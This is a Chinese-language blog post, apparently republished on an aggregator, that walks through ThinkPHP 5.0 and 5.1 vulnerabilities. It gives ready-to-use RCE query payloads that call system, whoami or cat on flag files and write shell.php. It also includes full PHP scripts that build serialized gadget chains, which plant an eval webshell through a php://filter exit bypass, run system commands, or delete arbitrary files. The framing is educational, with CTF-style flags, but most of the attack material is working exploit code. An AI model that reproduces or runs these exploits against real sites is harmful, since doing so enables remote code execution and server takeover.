tp5(finish)

news/2024/7/7 21:42:58/文章来源:https://www.cnblogs.com/m1xian/p/18276839

tp5

1.tp5.0开始

结构

www  WEB部署目录(或者子目录)
├─application           应用目录
│  ├─common             公共模块目录(可以更改)
│  ├─module_name        模块目录(Home:前台模块;Admin:后台模块)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  │
│  ├─command.php        命令行工具配置文件
│  ├─common.php         公共函数文件
│  ├─config.php         公共配置文件
│  ├─route.php          路由配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─database.php       数据库配置文件
│
├─public                WEB目录(对外访问目录)
│  ├─index.php          入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于apache的重写
│
├─thinkphp              框架系统目录
│  ├─lang               语言文件目录
│  ├─library            框架类库目录
│  │  ├─think           Think类库包目录
│  │  └─traits          系统Trait目录
│  │
│  ├─tpl                系统模板目录
│  ├─base.php           基础定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     框架惯例配置文件
│  ├─helper.php         助手函数文件
│  ├─phpunit.xml        phpunit配置文件
│  └─start.php          框架入口文件
│
├─extend                扩展类库目录
├─runtime               应用的运行时目录(可写,可定制)
├─vendor                第三方类库目录(Composer依赖库)
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

url模式

未启用路由的情况下:

http://localhost/tp5/public/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

支持切换到命令行访问,如果切换到命令行模式下面的访问规则是:

php.exe index.php(或者其它应用入口文件) 模块/控制器/操作/[参数名/参数值...]

可以看到,无论是URL访问还是命令行访问,都采用PATH_INFO访问地址,其中PATH_INFO的分隔符是可以设置的

tp5取消了URL模式的概念,普通模式被移除,但是参数支持

模块/控制器/操作?参数名=参数值&... 

URL大小写

默认情况下,URL是不区分大小写的,也就是说 URL里面的模块/控制器/操作名会自动转换为小写,控制器在最后调用的时候会转换为驼峰法处理。

当然也可以在配置文件中改为区分大小写

// 关闭URL中控制器和操作名的自动转换

'url_convert'    =>  false,

路由

一、普通模式

关闭路由,完全使用默认的PATH_INFO方式URL:

'url_route_on'  =>  false,

路由关闭后,不会解析任何路由规则,采用默认的PATH_INFO 模式访问URL:

http://serverName/index.php/module/controller/action/param/value/...

二、混合模式

开启路由,并使用路由定义+默认PATH_INFO方式的混合

'url_route_on'  =>  true,
'url_route_must'=>  false,

该方式下面,只需要对需要定义路由规则的访问地址定义路由规则,其它的仍然按照第一种普通模式的PATH_INFO模式访问URL。

三、强制模式

开启路由,并设置必须定义路由才能访问:

'url_route_on'  		=>  true,
'url_route_must'		=>  true,

如果未开启强制路由,那么可能会导致rce

例如定义首页路由

Route::get('/',function(){return 'Hello,world!';
});

2.未开启强制路由导致RCE命令执行

这里跟一下invokefunction的paylaod

参考:https://xz.aliyun.com/t/8312

在未开启强制路由的情况下,用户可以调用任意类的任意方法

两大版本:

  1. 5.0.0<=ThinkPHP5<=5.0.23
  2. 5.1.0<=ThinkPHP<=5.1.30

分析

image-20240605212347-95hse5f

默认是没有开启强制路由的

compose.json改成5.0.22

    "require": {"php": ">=5.4.0","topthink/framework": "5.0.22"

然后运行composer update

输入payload:

http://192.168.117.98:8088/public?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

直接在入口处下断点

有用于过滤HTML和PHP标签的strip_tags函数,漏洞产生与路由调度有关,来看执行路由调度的代码:

image-20240612120019-w5agqag

跟进path看看

image-20240612203951-te9ylxe

可以看到$path的值由pathinfo()获取,所以跟进pathinfo函数

image-20240612204013-4iy9r8o

最后返回的path就是我们?m=xxx传入的index/\think\Container/invokefunction

回到routeCheck方法

image-20240613142523-95cn8fu

看到这里判断是否开启强制路由,若是开启了会抛出错误,但是默认是开启的,所以是存在RCE漏洞的

image-20240613142936-fnb49q1

然后走完routeCheck函数,获得$dispatch的值

App.php

跟进invokeMethodimage-20240613145418-gpgogil

跟进bindParams

image-20240613145451-wz89kbe

payload

5.0.x

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.1.x

?s=index/think\Request/input&filter[]=system&data=dir
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

其他Paylaod:

Request:


?s=index/\think\Request/input&filter=system&data=tac /f*

write写shell

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php%20system(%27cat%20/fl*%27);?>
访问shell.php

display

?s=index/\think\view\driver\Think/display&template=<?php%20system(%27cat%20/fl*%27);?>

__call通杀

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php%20system(%27cat%20/fl*%27);?>

3.tp5.0.X反序列化利用链

我用的是5.0.25

漏洞测试代码 application/index/controller/Index.php 。

<?php
namespace app\index\controller;class Index
{public function index(){$c = unserialize($_GET['c']);var_dump($c);return 'Welcome to thinkphp5.0.24';}
}

首先全局搜索__destruct

选择tp5.0.22/thinkphp/library/think/process/pipes/Windows.php

image-20240606201829-vajqtva

跟进removeFiles()

image-20240606202156-gq9uut3

file_exists调用toString方法

全局搜索__toString

找到tp5.0.22/thinkphp/library/think/Model.php

image-20240606202401-ldkbebr

到这的exp:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{private $files = [];public function __construct(){$this->files = [new Pivot()];}
}namespace think\model;abstract class Model{}
class Pivot extends Model
{
}use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

继续跟tp5.0.22/thinkphp/library/think/Model.php

的__toString方法

image-20240606202401-ldkbebr

跟进toJson方法

image-20240606213055-mbbcbz2

一直跟到toArray方法

image-20240606213354-4hd93im

尝试去寻找可控参数并且尝试进行下一次跳转

有三处可以调用__call方法的地方,都可以成功

选择第三处

if (!empty($this->append)) {     //1.append不为空foreach ($this->append as $key => $name) {if (is_array($name)) {   //2.name不为数组// 追加关联对象属性$relation   = $this->getAttr($key);$item[$key] = $relation->append($name)->toArray();} elseif (strpos($name, '.')) {       //3.name里不包含'.'list($key, $attr) = explode('.', $name);// 追加关联对象属性$relation   = $this->getAttr($key);$item[$key] = $relation->append([$attr])->toArray();} else {$relation = Loader::parseName($name, 1, false);//4.解析name赋值给$relation if (method_exists($this, $relation)) {         //5.自身存在relation方法$modelRelation = $this->$relation();   $value         = $this->getRelationData($modelRelation);if (method_exists($modelRelation, 'getBindAttr')) {//6.moldelRelation类中存在getBindAttr方法$bindAttr = $modelRelation->getBindAttr();if ($bindAttr) {                           //7.$modelRelation->getBindAttr()的返回值为trueforeach ($bindAttr as $key => $attr) {$key = is_numeric($key) ? $attr : $key;if (isset($this->data[$key])) {    //8.$this->data[$key]不存在throw new Exception('bind attr has exists:' . $key);} else {$item[$key] = $value ? $value->getAttr($attr) : null;}}continue;}}$item[$name] = $value;} else {$item[$name] = $this->getAttr($name);}}}
}

$this->append​我们可控,所以name​就可控,relation​也就可控

主要看第5,6,7个条件if (method_exists($this, $relation))

  1. 该类需要存在relation方法,
  2. 且relation方法的返回值(一个类)需要存在getBindAttr方法
  3. 调用getBindAttr的返回值还要为真

所以先找

找一下该类(Model类)的哪一个方法可以返回一个任意的类对象

正则搜索return \$this->.*

好多都可以

找到getParent()​和getEror()​方法,这两个比较好利用,这里选择getError​继续进行构造

image-20240607112602-0eriphb

image-20240607112800-ra7u8ut

再往后需要全局搜索哪个类有getBindAttr​方法了

image-20240607113507-asy0lkm

只找到一个抽象类OneToOne​,所以找一下哪个类继承了次类,全局搜extends OneToOne

找到了HasOne​和BelongsTo​类,二者都可利用,这里我们使用HasOne​类,所以$moldelRelation​即为HasOne​类的实例

需要调用getBindAttr的返回值为真,这里bindAttr属性可控,条件8的data默认为空并且也可控

接下来就是看看怎么给value赋值,跳到__call魔术方法

$value = $this->getRelationData($modelRelation);

进入getRelationData类

image-20240607114537-6ojsocq

  1. 存在parent
  2. !$modelRelation->isSelfRelation()
  3. get_class($modelRelation->getModel()) == get_class($this->parent))

parent可控的,全局搜一下isSelfRelation()​,在Relation类

image-20240611093835-hyg2orn

这里的selfRelation我们可控,直接给赋值成false

跟进getModel方法

image-20240611094059-0r7nv25

query可控,继续跟进

image-20240611094126-zlgbbox

model可控,所以我们看看value需要赋值成哪个类的实例,value=parent,然后再让model和parent一样就行了

选择Output类

image-20240611095452-rfcr4so

编写一下这部分的exp:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{private $files = [];public function __construct(){$this->files = [new Pivot()];}
}namespace think\model;
use think\Model;
class Pivot extends Model
{
}namespace think;
use think\console\Output;
use think\model\relation\HasOne;abstract class Model
{protected $append = [];protected $data = [];protected $error;protected $parent;//这里把parent改成public???public function __construct(){$this->error = new HasOne();$this->parent = new Output();$this->append = ['getError'];}}
namespace think\model;
abstract class Relation
{protected $selfRelation;public function __construct(){$this->selfRelation = false;}
}namespace think\console;
class Output{}
namespace think\model\relation;
use think\model\Relation;abstract class OneToOne extends Relation
{protected $bindAttr = [];
}namespace think\model\relation;
class HasOne extends OneToOne
{
}namespace think\db;class Query
{protected $model;public function __construct(){$this -> model= new Output();}}use think\console\Output;
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

这里有很坑的地方,调试的时候发现有两个parent属性,在后面的判断中parent被值为null的parent覆盖

image-20240611104310-gqvwzt0

思考之后在Pivot类中发现在子类Pivot里有一个public属性的parent这样的

image-20240611104355-sehou5o

我们是通过子类的实例想去获取父类的parent,但是子类本身存在parent属性,就导致父类的parent属性被子类的给覆盖了,把parent改成public就行了,这是改进的exp:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{private $files = [];public function __construct(){$this->files = [new Pivot()];}
}namespace think\model;
use think\Model;
class Pivot extends Model
{
}namespace think;
use think\console\Output;
use think\model\relation\HasOne;abstract class Model
{protected $append = [];protected $data = [];protected $error;public $parent;//这里把parent改成public了???public function __construct(){$this->error = new HasOne();$this->parent = new Output();$this->append = ['getError'];}}
namespace think\model;
use think\db\Query;
abstract class Relation
{protected $selfRelation;protected $query;public function __construct(){$this->selfRelation = false;$this->query = new Query();}
}namespace think\console;
class Output{}
namespace think\model\relation;
use think\model\Relation;abstract class OneToOne extends Relation
{protected $bindAttr = [];
}namespace think\model\relation;
class HasOne extends OneToOne{protected $bindAttr = [1];
}namespace think\db;
use think\console\Output;
class Query
{protected $model;public function __construct(){$this -> model= new Output();}}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

image-20240611110640-bk4kqc3

成功跳转到__call ​!!!

这里styles​可控,赋值成getAttr​进入if

跟进block函数,一直跟进

image-20240611131049-kpthjh9

image-20240611131057-rawlqxp

image-20240611131104-ahzi1qf

handle​可控,看看还有哪些类可以利用write​函数,选择Memcached​类

image-20240611131429-g0ohj31

这里handler可控,继续找还有哪些类能利用set方法,选择File类的set函数

image-20240611145704-fv8wzcf

目标是利用file_put_contents​来往文件里写马

先分析一下filename​,跟进getCacheKey​函数

image-20240611150028-g2cndwy

$this->options​可控,就可以控制filename了

再看$data,也就是写入文件的内容。

$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {//数据压缩$data = gzcompress($data, 3);
}
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

使用伪协议配合编码过滤脏字符来绕过exit

https://xz.aliyun.com/t/7457

convert.iconv.utf-8.utf-7将脏字符过滤

convert.base64-decode保护我们的一句话木马不被过滤

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
<?php @eval($_POST['ccc']);?> 

将文件写到根目录下

image-20240611160115-cu5zcso

image-20240611160218-gk54cep

但是这里$data​是$value​序列化后的值,value已被写死为true,不可控

所以这里file_put_contents​可以写文件,但是内容不可控

看到下set剩下的代码

image-20240611153832-cjq18g3

跟进setTagItem​函数

image-20240611153951-je8tdlb

这里会再次调用set函数,并且这里的$value​可控,这样写入的内容我们就可控了

image-20240611170247-a3b557z

可以看到我们成功写入$value

image-20240611170328-bxj5cnx

$name成功被改写

image-20240611170932-qi5djsn

静态目录下成功写入文件,文件路径:

http://127.0.0.1/public/a.php3b58a9545013e88c7186db11bb158c44.php

image-20240611170916-m5hvvcg

拿到shell

如果本地没环境打远程服务器的话,我们怎么获取文件路径呢?

调试一下看看逻辑

image-20240611173149-88v723v

image-20240611173200-vmwa4ae

前面是第一次写文件,我们无法控制内容那次

后面又调用一次getCacheKey函数

image-20240611173555-90iftec

这才是我们的后门文件,这里key是定值true,所以$key也会是定值tag_c4ca4238a0b923820dcc509a6f75849b

之后进入has函数,会调用get函数,然后会再次调用getCacheKey​函数

image-20240611174321-ky4hw7b

这里将定值再进行一次md5,所以得到的filename还是定值3b58a9545013e88c7186db11bb158c44

经过拼接最终filename为

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php3b58a9545013e88c7186db11bb158c44.php

所以最后的文件路径就是根目录下a.php3b58a9545013e88c7186db11bb158c44.php,这是定值

也有写函数获取路径的

namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{protected $tag;protected $options=[];public function __construct(){$this->options = ['expire'        => 0,'cache_subdir'  => false,'prefix'        => '','path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php','data_compress' => false,];$this->tag = true;}public function get_filename(){$name = md5('tag_' . md5($this->tag));$filename = $this->options['path'];$pos = strpos($filename, "/../");echo $pos;echo "\n\n";$filename = urlencode(substr($filename, $pos + strlen("/../")));return $filename . $name . ".php";}}

EXP:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{private $files = [];public function __construct(){$this->files = [new Pivot()];}
}namespace think\model;
use think\Model;
class Pivot extends Model
{
}namespace think;
use think\console\Output;
use think\model\relation\HasOne;abstract class Model
{protected $append = [];protected $data = [];protected $error;public $parent;//这里把parent改成public了???public function __construct(){$this->error = new HasOne();$this->parent = new Output();$this->append = ['getError'];}}
namespace think\model;
use think\db\Query;
abstract class Relation
{protected $selfRelation;protected $query;public function __construct(){$this->selfRelation = false;$this->query = new Query();}
}namespace think\console;
use think\session\driver\Memcached;
class Output
{protected $styles;private $handle;public function __construct(){$this->handle = new Memcached();$this->styles = ['getAttr'];}
}
namespace think\model\relation;
use think\model\Relation;abstract class OneToOne extends Relation
{
}namespace think\model\relation;
class HasOne extends OneToOne{protected $bindAttr = [1];//只要不为空就行
}namespace think\db;
use think\console\Output;
class Query
{protected $model;public function __construct(){$this -> model= new Output();}}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached {protected $handler;PUBLIC function __construct(){$this->handler = new File();}
}namespace think\cache\driver;class File {protected $options = [];protected $tag;public function __construct(){$this->options = ['prefix' => '','cache_subdir'  => '','path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php','data_compress' => ''];$this->tag = true;}
}use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

4.tp5.1开始

多了route/route.php

image-20240616205539-jvt10a7

可以在此将/模块/控制器/操作方法​ 的 URL 映射到指定路由

image-20240616211017-7gfdh3o

image-20240616211028-cswgn29

————————————————————————————————————————————————

image-20240616211040-2tlx9i8

5.tp5.1.x反序列化利用链

composer create-project topthink/think=5.1.* tp

注意tp5.1版本的根目录要设置成/public

image-20240616204341-2gh4ho5

通用exp:

<?php
namespace think;
abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["l1_Tuer"=>["123"]];$this->data = ["l1_Tuer"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $config = ['var_ajax'         => '_ajax',  ];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->hook = ["visible"=>[$this,"isAjax"]];}
}namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{
}use think\process\pipes\Windows;
echo (serialize(new Windows()));
?>

存在一个删除任意文件的功能

image-20240617200316-guv5orj

<?phpnamespace think\process\pipes;use think\Process;
class pipes{};class Windows extends Pipes
{private $files = [];public function __construct(){$this->files = ["C:\\Users\\20778\\Desktop\\1.txt" ];}}
echo urlencode(serialize(new Windows()));

接下来看如何调用到__toString方法

将$filename实例化为tostring方法在的类,但是这里的类是个trait

image-20240617201437-1p75jj6

所以trait是可调用方法,所以需要找一下那个类use Conversion

image-20240617201541-39c8vyb

找到了抽象类Model,Pivot extends Model,所以最终使用Pivot类

toString一直跟到toArray方法的关键代码:

image-20240617201231-avcnkjk

存在append可以进入if,最后的relation可控就可以跳转到__call方法

需要让$relation返回值为true,与getRelation方法有关,跟进

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/734302.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

thinkphp3.2.x漏洞分析

tp3.2.3 1.开始 入口文件 就是www/index.php,index.php包含了框架的入口文件,所以访问后可以直接加载thinkphp框架 配置文件 thinkphp的配置文件在www/ThinkPHP/Conf/convention.php url大小写 url默认是大小写敏感的,也可以通过修改convertion.php,达到url不区分大小写的目…

git基本知识

文件在本地仓库的状态常用命令:git status 查询状态git add 添加到暂存区,可以使用通配符*git commit desc:1 提交到本地仓库,只能提交暂存区的文件,该次提交的描述git commit -a -m desc:2 表示直接提交,不用放到暂存区git log 查看提交记录git reset --soft 123456 传入…

揭秘Python:对象类型打印

哈喽,大家好,我是木头左!一、Python数据类型简介 在Python的世界中,了解你正在处理的数据类型是至关重要的。Python提供了多种内置数据类型,包括数字(整数和浮点数)、字符串、列表、元组、字典等。这些数据类型决定了你可以对数据执行哪些操作,以及如何高效地存储和处理…

用Python的pynput和pyautogui实现自动化操作

哈喽,大家好,我是木头左!一、前言 在日常生活和工作中,常常需要重复执行一些机械性的操作,如复制粘贴、点击按钮等。这些操作虽然简单,但频繁执行会浪费大量时间。为了提高效率,可以使用Python编写脚本来实现这些操作的自动化。本文将介绍如何使用pynput库记录各种按键操…

(log求因数和)北京建筑大学2024年程序设计竞赛 B因数之和

题意:计算一个数的所有因数的和通常涉及质因数分解,然后对每个质因数的幂次进行求和运算。 具体步骤如下: 1.质因数分解:首先,将给定的数进行质因数分解,表示为\(2^{a}*3^{b}*5^{c}....\) 2.计算每个质因数的贡献:对于每个质因数p(如2, 3, 5等),计算从p{0}到p的所有…

样本空间的计数

高一初学阶段常用的样本空间的计数方法需要切实掌握前言 在统计样本空间数时,需要考虑是否有顺序和是否放回,同时请注意列举法、描述法,表格法,树状图的合理运用。这些方法都是高一初次学习需要切实掌握的方法,等到了高二或者高三,对思维的要求提高以后,更多的会用到加法…

空间单细胞|基于图像的数据分析(3)

引言 在这篇指南[1]中,我们介绍了Seurat的一个新扩展功能,用以分析新型的空间解析数据,将重点引言 在这篇指南中,我们介绍了Seurat的一个新扩展功能,用以分析新型的空间解析数据,将重点介绍由不同成像技术生成的三个公开数据集。Vizgen MERSCOPE(用于小鼠大脑研究) Nan…

关于Java中 因取消装箱可能产生 NullPointerException 的原因

一.什么是装箱,什么是拆箱? 装箱:将值类型转换为引用数据类型。 拆箱:将引用数据类型转换为值类型。说白了就是 Integer与int数据类型之间的转换 二.为什么会有自动一说呢? 我们都知道,java是一个面向对象的语言。因此包括数字、字符、日期、布尔值等等再内的一切都是对象…

7-8次大作业总结

前言 这两次对我这种水平的学生来说很难写,只能搭建大致的框架和思路。 还是要对对第七和第八次大作业里所学进行一个总结,从多方面来分析这两次作业之间的联系和差异,并从中了解自己的不足与缺点。第七次作业添加了互斥开关和窗帘,窗帘还好,只是一个简单的电路的受控设备…

第三轮OOP作业总结

随着这一次大作业的结束,这学期的PTA大作业也随之完结,可以说这最后一次大作业也是最难的一次,在这一次作业中我也感受到了不良代码结构所导致的修改错误的痛苦,接下来让我们对这两次题目进行相应分析。家居强电电路模拟程序-3 家居强电电路模拟程序-4第三次作业 这一次大作…

Windows 7操作系统全面解析与实用技巧

深入介绍Windows 7操作系统的基础知识、功能特性、分类和基本操作技巧,包括核心功能、特征、分类、安装方法、启动、文件管理、个性化设置等方面。旨在帮助用户深入理解Windows 7,并掌握提高工作效率和个性化设置的实用技巧。Win7操作系统一、操作系统的概述 1.1操作系统的概…

C#使用MQTT通讯协议发布订阅主题报文

一、服务端1.添加引用MQTTnet类库  2.代码:启动一个MQTT服务1        // 启动一个MQTT服务器2 // MQTT 3 IMqttServer server = new MqttFactory().CreateMqttServer();4 server.ClientConnectedHandler = new MqttServerClient…

图解 Jenkins Pipeline 的前端自动化部署,用上后真香!

图解 Jenkins Pipeline 的前端自动化部署,用上后真香! 原创 悟空聊架构 悟空聊架构 2024-06-27 20:57 广东 听全文你好,我是悟空。 本文目录如下:一、Jenkins 前端部署思路1.1 整体架构图1.2 部署步骤二、Pipeline和自由风格对比三、Pipeline 核心脚本3.1 获取 Git 代码分支…

23201115-邓俊豪-第三次blog

目录blog2前言关于难度和题目量关于知识点设计与分析pta-7一、项目简介二、项目实现三、项目测试四、代码示例五、总结六、代码分析pta-8一、项目简介二、项目实现三、项目测试四、代码示例五、总结六、代码分析改进建议 blog2 前言 关于难度和题目量 前三次大作业难度属于偏难…

Fastapi 项目第二天首次访问时数据库连接报错问题Cant connect to MySQL server

问题描述 Fastapi 项目使用 sqlalchemy 连接的mysql 数据库,每次第二天首次访问数据库相关操作,都会报错:sqlalchemy.exc.OperationalError: (pymysql.err.OperationalError) (2003, "Cant connect to MySQL server on x.x.x.x ([Errno 111] Connection refused)"…

linux安装中文字体

1.从windows复制宋体字体2.linux系统下/usr/share/fonts 3.创建simsun路径,将字体文件放进去4.改一下字体权限 cd /usr/share/fonts/ sudo chmod -R myfonts 7555.安装依赖 yum install mkfontscale yum install fontconfig6.执行以下命令 mkfontscale mkfontdir fc-cache7.查看…

(五)DeepSpeed Chat: 一键式RLHF训练,让你的类ChatGPT千亿大模型提速省钱15倍

DeepSpeed Chat: 一键式RLHF训练,让你的类ChatGPT千亿大模型提速省钱15倍如需引用 DeepSpeed Chat,请引用我们的arxiv report: @article{yao2023dschat,title={{DeepSpeed-Chat: Easy, Fast and Affordable RLHF Training of ChatGPT-like Models at All Scales}},author={Zh…

第7-8次OOP作业总结

一、前言 1.第七次作业(家居强电电路模拟程序-3) 这次作业题目在原先的基础上新增用电器新增了互斥开关和受控窗帘,同时存在多个并联电路,无疑在上次作业的基础上过程没有太大变化,难度也是相当,主要是新的用电器的添加问题。并联电路的改动还好说,上次作业我便考虑到了,…

Python——比 Seaborn 更好的相关性热力图:Biokit Corrplot

在 Python 中我们日常分析数据的过程当中经常需要对数据进行相关性分析,相关性热力图(Correlation Heatmap)是我们经常使用的一种工具。通过相关性热力图,我们可以通过为相关性不同的数据使用不同深浅的不同颜色进行标记,从而直观地观察两两数据序列之间的相关性情况——这…

流量治理核心策略

熔断、隔离、重试、降级、超时、限流https://mp.weixin.qq.com/s/_3pht6cFdkuRfrE1z0dpKQ